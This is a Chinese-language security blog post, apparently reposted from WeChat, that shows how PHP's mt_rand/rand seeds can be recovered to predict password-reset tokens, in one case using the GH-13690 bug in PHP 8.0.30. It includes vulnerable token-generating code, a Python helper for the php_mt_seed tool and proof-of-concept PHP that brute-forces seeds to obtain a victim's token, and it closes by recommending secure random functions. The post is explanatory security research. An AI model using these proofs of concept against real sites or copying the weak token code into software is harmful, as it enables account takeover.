这篇博文深入探讨了 的内部工作原理mt_rand(),揭露了它的弱点并展示了如何利用这些漏洞。我们将研究现实世界中的场景并深入了解更安全的替代方案。
php 中的 mt_rand 是什么?
此函数通过梅森旋转随机数生成器(PHP 4、PHP 5、PHP 7、PHP 8)生成随机值。
它通过生成随机数来帮助开发人员,但它真的是随机的吗?根据PHP 文档 [1]的答案是否定的:
图 1 – mt_rand 函数的 PHP 文档不加密安全
openwall 开发了一款名为php_mt_seed [2]的工具。该工具接收一堆 rand 输出并返回所使用的种子。
攻击场景有哪些?有两种:
-
令牌是在同一个 HTTP 请求中生成的
-
令牌不是在同一请求上生成的(GH-13690)
作为第一种情况的示例,我们假设一个由 PHP 提供支持的网站上有一个管理功能。此功能可以同时重置多个用户的密码。系统会向选定的用户发送一个链接以重置他们的密码,该链接包含由 rand 生成的重置令牌。如果其中一个用户是攻击者,攻击者可以检索种子并预测其他用户的令牌,因为种子是相同的。
以第二种情况为例,我们有一个由 PHP 8.0.30 提供支持的网站,该网站容易受到 GH-13690 攻击,或者任何 PHP 版本都容易受到 GH-13690 攻击。攻击者可以同时请求重置自己帐户和另一个帐户的密码(两个不同的 HTTP 请求)。现在攻击者可以使用他们的令牌来预测另一个帐户的种子。种子会有所不同,因为 rand 函数会为每个 HTTP 请求重新生成种子,但他们可以使用 GH-13690 漏洞对其进行暴力破解。
(使用 MT_RAND_PHP 时,全局 Mt19937 在请求之间无法正确重置)
图 2 – PHP 8 更改日志
在这两种情况下,我们都在利用在实际应用程序中发现的以下功能:
function generate_random_string($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
利用场景一
有漏洞的代码:
<?php
function generate_random_string($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// $rand = mt_rand();
// srand($rand);
echo "reset password for the first user : " . generate_random_string(32) . '<br />';
echo "reset password for the second user :" . generate_random_string(32) . '<br />';
在示例中,该函数为两个用户生成密码重置,但位于同一会话中(mt_rand 的初始状态相同)。
我们目标的PHP版本是最新版本:
图 3 – PHP 版本信息
让我们仅使用生成的令牌之一(只是一个普通用户令牌)来攻击我们需要的令牌,以预测第二个令牌(以管理员令牌为例)。
以下 Python 脚本将把标记转换为 rand 函数实际生成的内容,因为 rand 函数生成的是数字,而不是字符串本身:
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
with open("tokens.txt", "r") as file:
tokens = file.readlines()
for token in tokens:
token = token.strip()
for c in token:
print(" ",chars.find(c), chars.find(c),"0","61",end="")
脚本的输出将与 php_mt_seed 工具一起使用:
图 4 – rand 生成的数字
脚本中出现“0”和“61”的原因是,rand 函数的范围是原始 PHP 代码中的 0 到 61,我们复制该数字以实现精确匹配。
图 5 – 使用攻击者令牌找到种子
现在让我们通过设置种子,使用以下漏洞 PHP 代码来获取下一个令牌:
<?php
function generateRandomString($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// Set the seed for the random number generator
srand(3697305637);
echo ("current token is :" . generateRandomString(32)." n");
echo ("target reset token password is " . generateRandomString(32) . " n")
?>
以下是目标 PHP 代码的示例输出:
图 6 – 原始输出
在这里我们运行了漏洞利用的 PHP 代码:
图 7 – 使用攻击找到下一个令牌
攻击成功,我们获得了令牌。
利用场景2
在这个场景中,user1 是想要重置 user2 密码的攻击者,而网站使用的是存在漏洞的 PHP 版本,例如 8.0.30 (GH-13690)。
在本实验中,我们将攻击使用上述相同功能的应用程序。我们在 PHP 版本 8.0.30 上安装了该应用程序。
图 8 – PHP 版本 8.0.30
为了利用该漏洞,我们需要同时向攻击者账户和目标账户发送重置密码请求。为此,我们可以在 Burp Suite 的 Repeater 中创建一个群发。
图 9 – 攻击者账户的第一次请求
图 10 – 对目标账户的第二次请求
确保启用发送组单连接,如下所示:
图 11 – 启用单连接
使用MySQL数据库,我们可以看到令牌是为攻击者账户和目标账户同时生成的。
图 12 – 在 mysql 中重置令牌
从攻击者的角度来看,我们只能访问攻击者令牌,即 F4zrX6rBBHaOadoTwsRvJddtyl5vEeif。
有了这些信息,让我们使用与之前相同的攻击流程。
图 13 – 找到种子
确实我们找到了种子,但是下一个用来生成目标 token 的种子会有些不同,我们继续看看会有什么不同。
如果我们复制目标令牌,我们可以使用相同的攻击来获取种子并比较目标种子和攻击者种子:
图 14 – 提取的目标账户种子
我们可以看到种子的前四位数字是相同的。
Attacker F4zrX6rBBHaOadoTwsRvJddtyl5vEeif 1851353544
target 8YIWjEdIWNrsPNk60mzufqVHjGSxSnfe 1851289360
现在我们需要做的就是强行破解剩下的种子,它只有 6 位数字!
使用我们的 POC 进行攻击:
<?php
function generateRandomString($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// Function to generate all possible combinations
function generateCombinations($length, $characters) {
$combinations = [];
$totalCombinations = pow(count($characters), $length);
for ($i = 0; $i < $totalCombinations; $i++) {
$combination = '';
$temp = $i;
for ($j = 0; $j < $length; $j++) {
$combination = $characters[$temp % count($characters)] . $combination;
$temp = intdiv($temp, count($characters));
}
$combinations[] = $combination;
}
return $combinations;
}
// Define the length of the number and the allowed characters
$length = 6;
$characters = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];
// Generate and print all combinations
$allCombinations = generateCombinations($length, $characters);
foreach ($allCombinations as $combination) {
// Set the seed for the random number generator , enter only the start of the seed
$seed = "1851".(string)$combination;
srand($seed);
echo ("using seed ". $seed . " : ". generateRandomString(32)." n");
// echo $combination . PHP_EOL;
}
?>
运行POC PHP脚本后:
图 15 –成功!
攻击成功,找到了目标令牌。
现在我们需要暴力破解所有的代币,总共只有 1,000,000 个,几个小时就可以暴力破解。
结论
在这篇博文中,我们在两种不同的场景中利用了 PHP mt_rand 函数,并展示了它在真实攻击中的可利用性。2024 年,程序员仍然使用 mt_rand 来生成随机密码和令牌甚至用户 ID。mt_rand 函数并不安全,会使您的软件面临风险。如果您正在寻找一个好的替代方案,我们建议使用安全的随机生成器函数(如random_int()和random_bytes())来生成密钥,并且永远不要使用 mt_rand。
[1] https://www.php.net/manual/en/function.mt-rand.php
[2] https://github.com/openwall/php_mt_seed
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):2024 年在 php 中利用 (GH-13690) mt_rand